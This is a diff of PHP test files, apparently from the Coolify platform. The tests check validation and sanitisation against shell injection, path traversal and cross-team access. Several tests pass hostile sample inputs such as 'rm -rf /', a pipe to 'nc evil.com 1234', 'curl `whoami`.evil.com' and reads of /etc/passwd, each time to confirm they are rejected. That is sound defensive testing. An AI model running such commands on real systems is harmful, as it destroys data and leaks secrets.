use App\Livewire\Server\CaCertificate\Show;
use App\Models\Server;
use App\Models\SslCertificate;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
]);
});
function generateSelfSignedCert(): string
{
$key = openssl_pkey_new(['private_key_bits' => 2048]);
$csr = openssl_csr_new(['CN' => 'Test CA'], $key);
$cert = openssl_csr_sign($csr, null, $key, 365);
openssl_x509_export($cert, $certPem);
return $certPem;
}
test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
$validCert = generateSelfSignedCert();
$caCert = SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => $validCert,
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
// Inject shell command after valid certificate
$maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', $maliciousContent)
->call('saveCaCertificate')
->assertDispatched('success');
// After save, the certificate should be the clean re-exported PEM, not the malicious input
$caCert->refresh();
expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
expect($caCert->ssl_certificate)->not->toContain('; id');
expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
});
test('saveCaCertificate rejects completely invalid certificate', function () {
SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => 'placeholder',
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
->call('saveCaCertificate')
->assertDispatched('error');
});
test('saveCaCertificate rejects empty certificate content', function () {
SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => 'placeholder',
'ssl_private_key' => 'test-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
->set('certificateContent', '')
->call('saveCaCertificate')
->assertDispatched('error');
});

View file

@ -0,0 +1,90 @@
<?php
use Illuminate\Support\Facades\Validator;
$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => str_repeat('a', 1001)],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeTrue();
});
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => 'pg_isready -U postgres'],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
});
it('accepts null healthCheckCommand', function () use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => null],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
});
it('accepts simple commands', function ($command) use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => $command],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeFalse();
})->with([
'pg_isready -U postgres',
'redis-cli ping',
'curl -f http://localhost:8080/health',
'wget -q -O- http://localhost/health',
'mysqladmin ping -h 127.0.0.1',
]);
it('rejects commands with shell operators', function ($command) use ($commandRules) {
$validator = Validator::make(
['healthCheckCommand' => $command],
['healthCheckCommand' => $commandRules]
);
expect($validator->fails())->toBeTrue();
})->with([
'pg_isready; rm -rf /',
'redis-cli ping | nc evil.com 1234',
'curl http://localhost && curl http://evil.com',
'echo $(whoami)',
'cat /etc/passwd > /tmp/out',
'curl `whoami`.evil.com',
'cmd & background',
'echo "hello"',
"echo 'hello'",
'test < /etc/passwd',
'bash -c {echo,pwned}',
'curl http://evil.com#comment',
'echo $HOME',
"cmd\twith\ttabs",
"cmd\nwith\nnewlines",
]);
it('rejects invalid healthCheckType', function () {
$validator = Validator::make(
['healthCheckType' => 'exec'],
['healthCheckType' => 'string|in:http,cmd']
);
expect($validator->fails())->toBeTrue();
});
it('accepts valid healthCheckType values', function ($type) {
$validator = Validator::make(
['healthCheckType' => $type],
['healthCheckType' => 'string|in:http,cmd']
);
expect($validator->fails())->toBeFalse();
})->with(['http', 'cmd']);

View file

@ -0,0 +1,276 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
describe('deployment job path field validation', function () {
test('rejects shell metacharacters in dockerfile_location', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile; echo pwned', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects backtick injection', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile`whoami`', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects dollar sign variable expansion', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile$(whoami)', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects pipe injection', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile | cat /etc/passwd', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects ampersand injection', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile && env', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects path traversal', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/../../../etc/passwd', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'path traversal detected');
});
test('allows valid simple path', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect($method->invoke($instance, '/Dockerfile', 'dockerfile_location'))
->toBe('/Dockerfile');
});
test('allows valid nested path with dots and hyphens', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect($method->invoke($instance, '/docker/Dockerfile.prod', 'dockerfile_location'))
->toBe('/docker/Dockerfile.prod');
});
test('allows valid compose file path', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect($method->invoke($instance, '/docker-compose.prod.yml', 'docker_compose_location'))
->toBe('/docker-compose.prod.yml');
});
});
describe('API validation rules for path fields', function () {
test('dockerfile_location validation rejects shell metacharacters', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_location' => '/Dockerfile; echo pwned; #'],
['dockerfile_location' => $rules['dockerfile_location']]
);
expect($validator->fails())->toBeTrue();
});
test('dockerfile_location validation allows valid paths', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_location' => '/docker/Dockerfile.prod'],
['dockerfile_location' => $rules['dockerfile_location']]
);
expect($validator->fails())->toBeFalse();
});
test('docker_compose_location validation rejects shell metacharacters', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_location' => '/docker-compose.yml; env; #'],
['docker_compose_location' => $rules['docker_compose_location']]
);
expect($validator->fails())->toBeTrue();
});
test('docker_compose_location validation allows valid paths', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_location' => '/docker/docker-compose.prod.yml'],
['docker_compose_location' => $rules['docker_compose_location']]
);
expect($validator->fails())->toBeFalse();
});
});
describe('sharedDataApplications rules survive array_merge in controller', function () {
test('docker_compose_location safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
// Simulate what ApplicationsController does: array_merge(shared, local)
// After our fix, local no longer contains docker_compose_location,
// so the shared regex rule must survive
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
// The merged rules for docker_compose_location should be the safe regex, not just 'string'
expect($merged['docker_compose_location'])->toBeArray();
expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/');
});
});
describe('path fields require leading slash', function () {
test('dockerfile_location without leading slash is rejected by API rules', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_location' => 'Dockerfile'],
['dockerfile_location' => $rules['dockerfile_location']]
);
expect($validator->fails())->toBeTrue();
});
test('docker_compose_location without leading slash is rejected by API rules', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_location' => 'docker-compose.yaml'],
['docker_compose_location' => $rules['docker_compose_location']]
);
expect($validator->fails())->toBeTrue();
});
test('deployment job rejects path without leading slash', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, 'docker-compose.yaml', 'docker_compose_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
});
describe('API route middleware for deploy actions', function () {
test('application start route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$route = $routes->getByAction('App\Http\Controllers\Api\ApplicationsController@action_deploy');
expect($route)->not->toBeNull();
$middleware = $route->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
expect($middleware)->not->toContain('api.ability:write');
});
test('application restart route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'restart')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
test('application stop route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'stop')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
test('database start route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'databases') && str_contains($route->uri(), 'start')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
test('service start route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'services') && str_contains($route->uri(), 'start')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
});

View file

@ -0,0 +1,80 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
$this->bearerToken = $this->token->plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function authHeaders(): array
{
return [
'Authorization' => 'Bearer '.test()->bearerToken,
];
}
test('returns domains for own team application via uuid query param', function () {
$application = Application::factory()->create([
'fqdn' => 'https://my-app.example.com',
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders())
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}");
$response->assertOk();
$response->assertJsonFragment(['my-app.example.com']);
});
test('returns 404 when application uuid belongs to another team', function () {
$otherTeam = Team::factory()->create();
$otherUser = User::factory()->create();
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
$otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
$otherApplication = Application::factory()->create([
'fqdn' => 'https://secret-app.internal.company.com',
'environment_id' => $otherEnvironment->id,
'destination_id' => $otherDestination->id,
'destination_type' => $otherDestination->getMorphClass(),
]);
$response = $this->withHeaders(authHeaders())
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}");
$response->assertNotFound();
$response->assertJson(['message' => 'Application not found.']);
});
test('returns 404 for nonexistent application uuid', function () {
$response = $this->withHeaders(authHeaders())
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid");
$response->assertNotFound();
$response->assertJson(['message' => 'Application not found.']);
});

View file

@ -1,144 +1,59 @@
<?php
test('multiline environment variables are properly escaped for docker build args', function () {
$sshKey = '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----';
test('generateDockerBuildArgs returns only keys without values', function () {
$variables = [
['key' => 'SSH_PRIVATE_KEY', 'value' => "'{$sshKey}'", 'is_multiline' => true],
['key' => 'SSH_PRIVATE_KEY', 'value' => "'some-ssh-key'", 'is_multiline' => true],
['key' => 'REGULAR_VAR', 'value' => 'simple value', 'is_multiline' => false],
];
$buildArgs = generateDockerBuildArgs($variables);
// SSH key should use double quotes and have proper escaping
$sshArg = $buildArgs->first();
expect($sshArg)->toStartWith('--build-arg SSH_PRIVATE_KEY="');
expect($sshArg)->toEndWith('"');
expect($sshArg)->toContain('BEGIN OPENSSH PRIVATE KEY');
expect($sshArg)->not->toContain("'BEGIN"); // Should not have the wrapper single quotes
// Regular var should use escapeshellarg (single quotes)
$regularArg = $buildArgs->last();
expect($regularArg)->toBe("--build-arg REGULAR_VAR='simple value'");
// Docker gets values from the environment, so only keys should be in build args
expect($buildArgs->first())->toBe('--build-arg SSH_PRIVATE_KEY');
expect($buildArgs->last())->toBe('--build-arg REGULAR_VAR');
});
test('multiline variables with special bash characters are escaped correctly', function () {
$valueWithSpecialChars = "line1\nline2 with \"quotes\"\nline3 with \$variables\nline4 with `backticks`";
test('generateDockerBuildArgs works with collection of objects', function () {
$variables = collect([
(object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
(object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
]);
$buildArgs = generateDockerBuildArgs($variables);
expect($buildArgs)->toHaveCount(2);
expect($buildArgs->values()->toArray())->toBe([
'--build-arg VAR1',
'--build-arg VAR2',
]);
});
test('generateDockerBuildArgs collection can be imploded into valid command string', function () {
$variables = [
['key' => 'SPECIAL_VALUE', 'value' => "'{$valueWithSpecialChars}'", 'is_multiline' => true],
['key' => 'COOLIFY_URL', 'value' => 'http://example.com', 'is_multiline' => false],
['key' => 'COOLIFY_BRANCH', 'value' => 'main', 'is_multiline' => false],
];
$buildArgs = generateDockerBuildArgs($variables);
// The collection must be imploded to a string for command interpolation
// This was the bug: Collection was interpolated as JSON instead of a space-separated string
$argsString = $buildArgs->implode(' ');
expect($argsString)->toBe('--build-arg COOLIFY_URL --build-arg COOLIFY_BRANCH');
// Verify it does NOT produce JSON when cast to string
expect($argsString)->not->toContain('{');
expect($argsString)->not->toContain('}');
});
test('generateDockerBuildArgs handles variables without is_multiline', function () {
$variables = [
['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Verify double quotes are escaped
expect($arg)->toContain('\\"quotes\\"');
// Verify dollar signs are escaped
expect($arg)->toContain('\\$variables');
// Verify backticks are escaped
expect($arg)->toContain('\\`backticks\\`');
});
test('single-line environment variables use escapeshellarg', function () {
$variables = [
['key' => 'SIMPLE_VAR', 'value' => 'simple value with spaces', 'is_multiline' => false],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Should use single quotes from escapeshellarg
expect($arg)->toBe("--build-arg SIMPLE_VAR='simple value with spaces'");
});
test('multiline certificate with newlines is preserved', function () {
$certificate = '-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJAKL0UG+mRkSvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTkwOTE3MDUzMzI5WhcNMjkwOTE0MDUzMzI5WjBF
-----END CERTIFICATE-----';
$variables = [
['key' => 'TLS_CERT', 'value' => "'{$certificate}'", 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Newlines should be preserved in the output
expect($arg)->toContain("\n");
expect($arg)->toContain('BEGIN CERTIFICATE');
expect($arg)->toContain('END CERTIFICATE');
expect(substr_count($arg, "\n"))->toBeGreaterThan(0);
});
test('multiline JSON configuration is properly escaped', function () {
$jsonConfig = '{
"key": "value",
"nested": {
"array": [1, 2, 3]
}
}';
$variables = [
['key' => 'JSON_CONFIG', 'value' => "'{$jsonConfig}'", 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// All double quotes in JSON should be escaped
expect($arg)->toContain('\\"key\\"');
expect($arg)->toContain('\\"value\\"');
expect($arg)->toContain('\\"nested\\"');
});
test('empty multiline variable is handled correctly', function () {
$variables = [
['key' => 'EMPTY_VAR', 'value' => "''", 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
expect($arg)->toBe('--build-arg EMPTY_VAR=""');
});
test('multiline variable with only newlines', function () {
$onlyNewlines = "\n\n\n";
$variables = [
['key' => 'NEWLINES_ONLY', 'value' => "'{$onlyNewlines}'", 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
expect($arg)->toContain("\n");
// Should have 3 newlines preserved
expect(substr_count($arg, "\n"))->toBe(3);
});
test('multiline variable with backslashes is escaped correctly', function () {
$valueWithBackslashes = "path\\to\\file\nC:\\Windows\\System32";
$variables = [
['key' => 'PATH_VAR', 'value' => "'{$valueWithBackslashes}'", 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Backslashes should be doubled
expect($arg)->toContain('path\\\\to\\\\file');
expect($arg)->toContain('C:\\\\Windows\\\\System32');
expect($arg)->toBe('--build-arg NO_FLAG_VAR');
});
test('generateDockerEnvFlags produces correct format', function () {
@ -155,54 +70,14 @@ test('generateDockerEnvFlags produces correct format', function () {
expect($envFlags)->toContain('line2');
});
test('helper functions work with collection input', function () {
test('generateDockerEnvFlags works with collection input', function () {
$variables = collect([
(object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
(object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
]);
$buildArgs = generateDockerBuildArgs($variables);
expect($buildArgs)->toHaveCount(2);
$envFlags = generateDockerEnvFlags($variables);
expect($envFlags)->toBeString();
expect($envFlags)->toContain('-e VAR1=');
expect($envFlags)->toContain('-e VAR2="');
});
test('variables without is_multiline default to false', function () {
$variables = [
['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Should use escapeshellarg (single quotes) since is_multiline defaults to false
expect($arg)->toBe("--build-arg NO_FLAG_VAR='some value'");
});
test('real world SSH key example', function () {
// Simulate what real_value returns (wrapped in single quotes)
$sshKey = "'-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----'";
$variables = [
['key' => 'KEY', 'value' => $sshKey, 'is_multiline' => true],
];
$buildArgs = generateDockerBuildArgs($variables);
$arg = $buildArgs->first();
// Should produce clean output without wrapper quotes
expect($arg)->toStartWith('--build-arg KEY="-----BEGIN OPENSSH PRIVATE KEY-----');
expect($arg)->toEndWith('-----END OPENSSH PRIVATE KEY-----"');
// Should NOT have the escaped quote sequence that was in the bug
expect($arg)->not->toContain("''");
expect($arg)->not->toContain("'\\''");
});

View file

@ -0,0 +1,85 @@
<?php
use App\Livewire\Project\Shared\ResourceOperations;
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Livewire\Livewire;
beforeEach(function () {
// Team A (attacker's team)
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
$this->applicationA = Application::factory()->create([
'environment_id' => $this->environmentA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => $this->destinationA->getMorphClass(),
]);
// Team B (victim's team)
$this->teamB = Team::factory()->create();
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
$this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
test('cloneTo rejects destination belonging to another team', function () {
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('cloneTo', $this->destinationB->id)
->assertHasErrors('destination_id');
// Ensure no cross-tenant application was created
expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse();
});
test('cloneTo allows destination belonging to own team', function () {
$secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('cloneTo', $secondDestination->id)
->assertHasNoErrors('destination_id')
->assertRedirect();
});
test('moveTo rejects environment belonging to another team', function () {
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('moveTo', $this->environmentB->id);
// Resource should still be in original environment
$this->applicationA->refresh();
expect($this->applicationA->environment_id)->toBe($this->environmentA->id);
});
test('moveTo allows environment belonging to own team', function () {
$secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]);
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
->call('moveTo', $secondEnvironment->id)
->assertRedirect();
$this->applicationA->refresh();
expect($this->applicationA->environment_id)->toBe($secondEnvironment->id);
});
test('StandaloneDockerPolicy denies update for cross-team user', function () {
expect($this->userA->can('update', $this->destinationB))->toBeFalse();
});
test('StandaloneDockerPolicy allows update for same-team user', function () {
expect($this->userA->can('update', $this->destinationA))->toBeTrue();
});

View file

@ -0,0 +1,49 @@
<?php
use App\Jobs\ScheduledJobManager;
use Illuminate\Support\Facades\Redis;
it('clears stale lock when TTL is -1', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
$redis = Redis::connection('default');
$redis->set($lockKey, 'stale-owner');
expect($redis->ttl($lockKey))->toBe(-1);
$job = new ScheduledJobManager;
$job->middleware();
expect($redis->exists($lockKey))->toBe(0);
});
it('preserves valid lock with positive TTL', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
$redis = Redis::connection('default');
$redis->set($lockKey, 'active-owner');
$redis->expire($lockKey, 60);
expect($redis->ttl($lockKey))->toBeGreaterThan(0);
$job = new ScheduledJobManager;
$job->middleware();
expect($redis->exists($lockKey))->toBe(1);
$redis->del($lockKey);
});
it('does not fail when no lock exists', function () {
$cachePrefix = config('cache.prefix');
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
Redis::connection('default')->del($lockKey);
$job = new ScheduledJobManager;
$middleware = $job->middleware();
expect($middleware)->toBeArray()->toHaveCount(1);
});

View file

@ -0,0 +1,77 @@
<?php
use App\Models\Environment;
use App\Models\Project;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\ServiceDatabase;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('returns the correct team through the service relationship chain', function () {
$team = Team::factory()->create();
$project = Project::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'Test Project',
'team_id' => $team->id,
]);
$environment = Environment::create([
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
'project_id' => $project->id,
]);
$service = Service::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'supabase',
'environment_id' => $environment->id,
'destination_id' => 1,
'destination_type' => 'App\Models\StandaloneDocker',
'docker_compose_raw' => 'version: "3"',
]);
$serviceDatabase = ServiceDatabase::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'supabase-db',
'service_id' => $service->id,
]);
expect($serviceDatabase->team())->not->toBeNull()
->and($serviceDatabase->team()->id)->toBe($team->id);
});
it('returns the correct team for ServiceApplication through the service relationship chain', function () {
$team = Team::factory()->create();
$project = Project::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'Test Project',
'team_id' => $team->id,
]);
$environment = Environment::create([
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
'project_id' => $project->id,
]);
$service = Service::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'supabase',
'environment_id' => $environment->id,
'destination_id' => 1,
'destination_type' => 'App\Models\StandaloneDocker',
'docker_compose_raw' => 'version: "3"',
]);
$serviceApplication = ServiceApplication::create([
'uuid' => (string) Illuminate\Support\Str::uuid(),
'name' => 'supabase-studio',
'service_id' => $service->id,
]);
expect($serviceApplication->team())->not->toBeNull()
->and($serviceApplication->team()->id)->toBe($team->id);
});

View file

@ -0,0 +1,52 @@
<?php
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
});
describe('isAnyNotificationEnabled', function () {
test('returns false when no notifications are enabled', function () {
expect($this->team->isAnyNotificationEnabled())->toBeFalse();
});
test('returns true when email notifications are enabled', function () {
$this->team->emailNotificationSettings->update(['smtp_enabled' => true]);
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
test('returns true when discord notifications are enabled', function () {
$this->team->discordNotificationSettings->update(['discord_enabled' => true]);
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
test('returns true when slack notifications are enabled', function () {
$this->team->slackNotificationSettings->update(['slack_enabled' => true]);
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
test('returns true when telegram notifications are enabled', function () {
$this->team->telegramNotificationSettings->update(['telegram_enabled' => true]);
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
});
test('returns true when pushover notifications are enabled', function () {
